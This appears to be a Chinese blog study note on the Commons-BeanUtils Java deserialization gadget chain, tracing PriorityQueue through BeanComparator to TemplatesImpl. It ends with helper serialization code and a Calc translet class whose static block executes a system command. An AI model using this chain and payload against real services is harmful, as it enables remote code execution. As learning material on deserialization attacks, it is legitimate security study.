0x00 前言
忙活了一下午才解决了这条链子。这条链子并不难,当自己静下心细细沉思,便能发现问题存在。
静心方能得意,得意方能成事。
0x01 概述
Commons-BeanUtils与JavaBean
Apache Commons 工具集不仅有 collections,还有 BeanUtils,后者主要用来JavaBean。
何为JavaBean?
JavaBean 是一种JAVA语言写成的可重用组件,它是一个类
所谓javaBean,是指符合如下标准的Java类:
- 类是公共的
- 有一个无参的公共的构造器
- 有私有属性,且须有对应的get、set方法去设置属性
- 对于boolean类型的成员变量,允许使用”is”代替上面的”get”和”set”
比如这样一个类:

上述的Person类包含了一个私有属性name,以及读取和设置name的两个public方法 getName和setName,即getter和setter。遵守上述规范的类就称之为JavaBean。
类似setName()这种对属性进行修改的方法,称之为属性修改器或setter方法;类似getName()这种对属性进行读取的方法则称之为称为属性访问器或getter方法。
Commons-BeanUtils利用点
Commons-BeanUtils有这么一个静态方法:PropertyUtils.getProperty():

给定一个JavaBean对象和对应的方法,执行上述的静态方法就相当于调用给定JavaBean的getter方法。如下:
1 2 3 4 5
| Person person = new Person("Mike"); PropertyUtils.getProperty(person,"name"); # 等价于 Person person = new Person("Mike"); person.getName();
|
那么如果某个JavaBean的getter方法可以充当调用链的一环,我们就可以利用PropertyUtils.getProperty方法对接。
0x02 构造
TemplatesImpl.getOutputProperties()
链子底层还是利用TemplatesImpl类,先回顾一下TemplatesImpl类的利用原理:
这部分利用链与CC链的不同之处在于最上层的调用是getOutputProperties方法,该方法正好是getter方法:

给出对应的Poc:

PropertyUtils.getProperty()
既然是getter方法,就可以通过PropertyUtils.getProperty方法调用:
1 2
| PropertyUtils.getProperty(templates, "outputProperties"); #相当于 templates.getOutputProperties();
|
再寻找谁调用了PropertyUtils.getProperty方法,发现了BeanComparator.compare方法:

成员参数property=“outputProperties”
,再控制o1=templates
即可。
PriorityQueue.compare
最上面这段链子是我们学过的,调用部分如此:
PriorityQueue.readObject() ->
PriorityQueue.heapify() ->
PriorityQueue.siftDown() ->
PriorityQueue.siftDownUsingComparator() ->
BeanComparator.compare()
Poc

0x03 附录
Utils.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public class Utils { public static void setField(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException { Class clazz=object.getClass(); Field declaredField=clazz.getDeclaredField(field_name); declaredField.setAccessible(true); declaredField.set(object,filed_value); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); return ois.readObject(); } }
|
Calc.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| package cb_test;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
# 我就是忘记Calc继承AbstractTranslet,耽误好久时间 public class Calc extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|